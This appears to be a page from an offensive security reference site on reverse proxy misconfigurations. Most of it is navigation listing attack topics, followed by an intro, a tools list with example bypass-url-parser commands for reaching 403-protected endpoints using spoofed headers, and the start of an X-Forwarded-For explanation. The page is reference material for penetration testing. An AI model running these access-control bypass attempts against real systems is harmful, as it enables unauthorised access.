<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_39_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_39">
<span class="md-nav__icon md-icon"></span>
NoSQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../NoSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
NoSQL Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_40" >
<label class="md-nav__link" for="__nav_40" id="__nav_40_label" tabindex="0">
<span class="md-ellipsis">
OAuth Misconfiguration
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_40_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_40">
<span class="md-nav__icon md-icon"></span>
OAuth Misconfiguration
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../OAuth%20Misconfiguration/" class="md-nav__link">
<span class="md-ellipsis">
OAuth Misconfiguration
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_41" >
<label class="md-nav__link" for="__nav_41" id="__nav_41_label" tabindex="0">
<span class="md-ellipsis">
ORM Leak
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_41_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_41">
<span class="md-nav__icon md-icon"></span>
ORM Leak
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../ORM%20Leak/" class="md-nav__link">
<span class="md-ellipsis">
ORM Leak
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_42" >
<label class="md-nav__link" for="__nav_42" id="__nav_42_label" tabindex="0">
<span class="md-ellipsis">
Open Redirect
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_42_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_42">
<span class="md-nav__icon md-icon"></span>
Open Redirect
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Open%20Redirect/" class="md-nav__link">
<span class="md-ellipsis">
Open URL Redirect
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_43" >
<label class="md-nav__link" for="__nav_43" id="__nav_43_label" tabindex="0">
<span class="md-ellipsis">
Prompt Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_43_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_43">
<span class="md-nav__icon md-icon"></span>
Prompt Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Prompt%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Prompt Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_44" >
<label class="md-nav__link" for="__nav_44" id="__nav_44_label" tabindex="0">
<span class="md-ellipsis">
Prototype Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_44_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_44">
<span class="md-nav__icon md-icon"></span>
Prototype Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Prototype%20Pollution/" class="md-nav__link">
<span class="md-ellipsis">
Prototype Pollution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_45" >
<label class="md-nav__link" for="__nav_45" id="__nav_45_label" tabindex="0">
<span class="md-ellipsis">
Race Condition
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_45_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_45">
<span class="md-nav__icon md-icon"></span>
Race Condition
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Race%20Condition/" class="md-nav__link">
<span class="md-ellipsis">
Race Condition
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_46" >
<label class="md-nav__link" for="__nav_46" id="__nav_46_label" tabindex="0">
<span class="md-ellipsis">
Regular Expression
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_46_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_46">
<span class="md-nav__icon md-icon"></span>
Regular Expression
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Regular%20Expression/" class="md-nav__link">
<span class="md-ellipsis">
Regular Expression
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_47" >
<label class="md-nav__link" for="__nav_47" id="__nav_47_label" tabindex="0">
<span class="md-ellipsis">
Request Smuggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_47_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_47">
<span class="md-nav__icon md-icon"></span>
Request Smuggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Request%20Smuggling/" class="md-nav__link">
<span class="md-ellipsis">
Request Smuggling
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--active md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_48" checked>
<label class="md-nav__link" for="__nav_48" id="__nav_48_label" tabindex="0">
<span class="md-ellipsis">
Reverse Proxy Misconfigurations
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_48_label" aria-expanded="true">
<label class="md-nav__title" for="__nav_48">
<span class="md-nav__icon md-icon"></span>
Reverse Proxy Misconfigurations
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item md-nav__item--active">
<input class="md-nav__toggle md-toggle" type="checkbox" id="__toc">
<label class="md-nav__link md-nav__link--active" for="__toc">
<span class="md-ellipsis">
Reverse Proxy Misconfigurations
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<a href="./" class="md-nav__link md-nav__link--active">
<span class="md-ellipsis">
Reverse Proxy Misconfigurations
</span>
</a>
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
<label class="md-nav__title" for="__toc">
<span class="md-nav__icon md-icon"></span>
Table of contents
</label>
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
<li class="md-nav__item">
<a href="#summary" class="md-nav__link">
<span class="md-ellipsis">
Summary
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#tools" class="md-nav__link">
<span class="md-ellipsis">
Tools
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#methodology" class="md-nav__link">
<span class="md-ellipsis">
Methodology
</span>
</a>
<nav class="md-nav" aria-label="Methodology">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#http-headers" class="md-nav__link">
<span class="md-ellipsis">
HTTP Headers
</span>
</a>
<nav class="md-nav" aria-label="HTTP Headers">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#x-forwarded-for" class="md-nav__link">
<span class="md-ellipsis">
X-Forwarded-For
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#x-real-ip" class="md-nav__link">
<span class="md-ellipsis">
X-Real-IP
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#true-client-ip" class="md-nav__link">
<span class="md-ellipsis">
True-Client-IP
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#nginx" class="md-nav__link">
<span class="md-ellipsis">
Nginx
</span>
</a>
<nav class="md-nav" aria-label="Nginx">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#off-by-slash" class="md-nav__link">
<span class="md-ellipsis">
Off By Slash
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#missing-root-location" class="md-nav__link">
<span class="md-ellipsis">
Missing Root Location
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#caddy" class="md-nav__link">
<span class="md-ellipsis">
Caddy
</span>
</a>
<nav class="md-nav" aria-label="Caddy">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#template-injection" class="md-nav__link">
<span class="md-ellipsis">
Template Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#labs" class="md-nav__link">
<span class="md-ellipsis">
Labs
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#references" class="md-nav__link">
<span class="md-ellipsis">
References
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_49" >
<label class="md-nav__link" for="__nav_49" id="__nav_49_label" tabindex="0">
<span class="md-ellipsis">
SAML Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_49_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_49">
<span class="md-nav__icon md-icon"></span>
SAML Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../SAML%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SAML Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_50" >
<label class="md-nav__link" for="__nav_50" id="__nav_50_label" tabindex="0">
<span class="md-ellipsis">
SQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_50_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_50">
<span class="md-nav__icon md-icon"></span>
SQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../SQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/BigQuery%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Google BigQuery SQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/Cassandra%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cassandra Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/DB2%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
DB2 Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/MSSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/MySQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
MySQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/OracleSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Oracle SQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/PostgreSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/SQLite%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SQLite Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/SQLmap/" class="md-nav__link">
<span class="md-ellipsis">
SQLmap
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51" >
<label class="md-nav__link" for="__nav_51" id="__nav_51_label" tabindex="0">
<span class="md-ellipsis">
Server Side Include Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_51_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51">
<span class="md-nav__icon md-icon"></span>
Server Side Include Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Server%20Side%20Include%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Include Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52" >
<label class="md-nav__link" for="__nav_52" id="__nav_52_label" tabindex="0">
<span class="md-ellipsis">
Server Side Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_52_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_52">
<span class="md-nav__icon md-icon"></span>
Server Side Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Server%20Side%20Request%20Forgery/" class="md-nav__link">
<span class="md-ellipsis">
Server-Side Request Forgery
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Request%20Forgery/SSRF-Advanced-Exploitation/" class="md-nav__link">
<span class="md-ellipsis">
SSRF Advanced Exploitation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances/" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Cloud Instances
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53" >
<label class="md-nav__link" for="__nav_53" id="__nav_53_label" tabindex="0">
<span class="md-ellipsis">
Server Side Template Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_53_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_53">
<span class="md-nav__icon md-icon"></span>
Server Side Template Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/ASP/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - ASP.NET
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/Java/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Java
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/JavaScript/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - JavaScript
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/PHP/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - PHP
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/Python/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Python
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Ruby
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_54" >
<label class="md-nav__link" for="__nav_54" id="__nav_54_label" tabindex="0">
<span class="md-ellipsis">
Tabnabbing
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_54_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_54">
<span class="md-nav__icon md-icon"></span>
Tabnabbing
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Tabnabbing/" class="md-nav__link">
<span class="md-ellipsis">
Tabnabbing
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_55" >
<label class="md-nav__link" for="__nav_55" id="__nav_55_label" tabindex="0">
<span class="md-ellipsis">
Type Juggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_55_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_55">
<span class="md-nav__icon md-icon"></span>
Type Juggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Type%20Juggling/" class="md-nav__link">
<span class="md-ellipsis">
Type Juggling
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_56" >
<label class="md-nav__link" for="__nav_56" id="__nav_56_label" tabindex="0">
<span class="md-ellipsis">
Upload Insecure Files
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_56_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_56">
<span class="md-nav__icon md-icon"></span>
Upload Insecure Files
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/" class="md-nav__link">
<span class="md-ellipsis">
Upload Insecure Files
</span>
</a>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_56_2" >
<label class="md-nav__link" for="__nav_56_2" id="__nav_56_2_label" tabindex="0">
<span class="md-ellipsis">
Configuration Apache .htaccess
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_56_2_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_56_2">
<span class="md-nav__icon md-icon"></span>
Configuration Apache .htaccess
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess/" class="md-nav__link">
<span class="md-ellipsis">
.htaccess
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_57" >
<label class="md-nav__link" for="__nav_57" id="__nav_57_label" tabindex="0">
<span class="md-ellipsis">
Virtual Hosts
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_57_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_57">
<span class="md-nav__icon md-icon"></span>
Virtual Hosts
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Virtual%20Hosts/" class="md-nav__link">
<span class="md-ellipsis">
Virtual Host
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_58" >
<label class="md-nav__link" for="__nav_58" id="__nav_58_label" tabindex="0">
<span class="md-ellipsis">
Web Cache Deception
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_58_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_58">
<span class="md-nav__icon md-icon"></span>
Web Cache Deception
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Web%20Cache%20Deception/" class="md-nav__link">
<span class="md-ellipsis">
Web Cache Deception
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_59" >
<label class="md-nav__link" for="__nav_59" id="__nav_59_label" tabindex="0">
<span class="md-ellipsis">
Web Sockets
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_59_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_59">
<span class="md-nav__icon md-icon"></span>
Web Sockets
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Web%20Sockets/" class="md-nav__link">
<span class="md-ellipsis">
Web Sockets
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_60" >
<label class="md-nav__link" for="__nav_60" id="__nav_60_label" tabindex="0">
<span class="md-ellipsis">
XPATH Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_60_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_60">
<span class="md-nav__icon md-icon"></span>
XPATH Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XPATH%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XPATH Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_61" >
<label class="md-nav__link" for="__nav_61" id="__nav_61_label" tabindex="0">
<span class="md-ellipsis">
XSLT Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_61_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_61">
<span class="md-nav__icon md-icon"></span>
XSLT Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XSLT%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XSLT Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_62" >
<label class="md-nav__link" for="__nav_62" id="__nav_62_label" tabindex="0">
<span class="md-ellipsis">
XSS Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_62_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_62">
<span class="md-nav__icon md-icon"></span>
XSS Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XSS%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cross Site Scripting
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/1%20-%20XSS%20Filter%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
XSS Filter Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/2%20-%20XSS%20Polyglot/" class="md-nav__link">
<span class="md-ellipsis">
Polyglot XSS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/3%20-%20XSS%20Common%20WAF%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
Common WAF Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/4%20-%20CSP%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
CSP Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/5%20-%20XSS%20in%20Angular/" class="md-nav__link">
<span class="md-ellipsis">
XSS in Angular and AngularJS
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_63" >
<label class="md-nav__link" for="__nav_63" id="__nav_63_label" tabindex="0">
<span class="md-ellipsis">
XXE Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_63_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_63">
<span class="md-nav__icon md-icon"></span>
XXE Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XXE%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XML External Entity
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_64" >
<label class="md-nav__link" for="__nav_64" id="__nav_64_label" tabindex="0">
<span class="md-ellipsis">
Zip Slip
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_64_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_64">
<span class="md-nav__icon md-icon"></span>
Zip Slip
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Zip%20Slip/" class="md-nav__link">
<span class="md-ellipsis">
Zip Slip
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_65" >
<label class="md-nav__link" for="__nav_65" id="__nav_65_label" tabindex="0">
<span class="md-ellipsis">
LEARNING AND SOCIALS
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_65_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_65">
<span class="md-nav__icon md-icon"></span>
LEARNING AND SOCIALS
</label>
<ul class="md-nav__list" data-md-scrollfix>
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X-Forwarded-For
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X-Real-IP
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<article class="md-content__inner md-typeset">
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Reverse Proxy Misconfigurations/README.md" title="Edit this page" class="md-content__button md-icon" rel="edit">
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<h1 id="reverse-proxy-misconfigurations">Reverse Proxy Misconfigurations</h1>
<blockquote>
<p>A reverse proxy is a server that sits between clients and backend servers, forwarding client requests to the appropriate server while hiding the backend infrastructure and often providing load balancing or caching. Misconfigurations in a reverse proxy, such as improper access controls, lack of input sanitization in proxy_pass directives, or trusting client-provided headers like X-Forwarded-For, can lead to vulnerabilities like unauthorized access, directory traversal, or exposure of internal resources.</p>
</blockquote>
<h2 id="summary">Summary</h2>
<ul>
<li><a href="#tools">Tools</a></li>
<li><a href="#methodology">Methodology</a><ul>
<li><a href="#http-headers">HTTP Headers</a><ul>
<li><a href="#x-forwarded-for">X-Forwarded-For</a></li>
<li><a href="#x-real-ip">X-Real-IP</a></li>
<li><a href="#true-client-ip">True-Client-IP</a></li>
</ul>
</li>
<li><a href="#nginx">Nginx</a><ul>
<li><a href="#off-by-slash">Off By Slash</a></li>
<li><a href="#missing-root-location">Missing Root Location</a></li>
</ul>
</li>
<li><a href="#caddy">Caddy</a><ul>
<li><a href="#template-injection">Template Injection</a></li>
</ul>
</li>
</ul>
</li>
<li><a href="#labs">Labs</a></li>
<li><a href="#references">References</a></li>
</ul>
<h2 id="tools">Tools</h2>
<ul>
<li><a href="https://github.com/yandex/gixy">yandex/gixy</a> - Nginx configuration static analyzer.</li>
<li><a href="https://github.com/shiblisec/Kyubi">shiblisec/Kyubi</a> - A tool to discover Nginx alias traversal misconfiguration.</li>
<li>
<p><a href="https://github.com/laluka/bypass-url-parser">laluka/bypass-url-parser</a> - Tool that tests MANY url bypasses to reach a 40X protected page.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="n">bypass-url-parser</span> <span class="n">-u</span> <span class="s2">&quot;http://127.0.0.1/juicy_403_endpoint/&quot;</span> <span class="n">-s</span> <span class="n">8</span><span class="p">.</span><span class="n">8</span><span class="p">.</span><span class="n">8</span><span class="p">.</span><span class="n">8</span> <span class="n">-d</span>
<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a><span class="n">bypass-url-parser</span> <span class="n">-u</span> <span class="p">/</span><span class="n">path</span><span class="p">/</span><span class="n">urls</span> <span class="n">-t</span> <span class="n">30</span> <span class="n">-T</span> <span class="n">5</span> <span class="n">-H</span> <span class="s2">&quot;Cookie: me_iz=admin&quot;</span> <span class="n">-H</span> <span class="s2">&quot;User-agent: test&quot;</span>
<a id="__codelineno-0-3" name="__codelineno-0-3" href="#__codelineno-0-3"></a><span class="n">bypass-url-parser</span> <span class="n">-R</span> <span class="p">/</span><span class="n">path</span><span class="p">/</span><span class="n">request_file</span> <span class="p">-</span><span class="n">-request-tls</span> <span class="n">-m</span> <span class="s2">&quot;mid_paths, end_paths&quot;</span>
</code></pre></div>
</li>
</ul>
<h2 id="methodology">Methodology</h2>
<h3 id="http-headers">HTTP Headers</h3>
<p>Since headers like <code>X-Forwarded-For</code>, <code>X-Real-IP</code>, and <code>True-Client-IP</code> are just regular HTTP headers, a client can set or override them if it can control part of the traffic path—especially when directly connecting to the application server, or when reverse proxies are not properly filtering or validating these headers.</p>
<h4 id="x-forwarded-for">X-Forwarded-For</h4>
<p><code>X-Forwarded-For</code> is an HTTP header used to identify the originating IP address of a client connecting to a web server through an HTTP proxy or a load balancer.</p>
<p>When a client makes a request through a proxy or load balancer, that proxy adds an X-Forwarded-For header containing the client’s real IP address.</p>
<p>If there are multiple proxies (a request passes through several), each proxy adds the address from which it received the request to the header, comma-separated.</p>
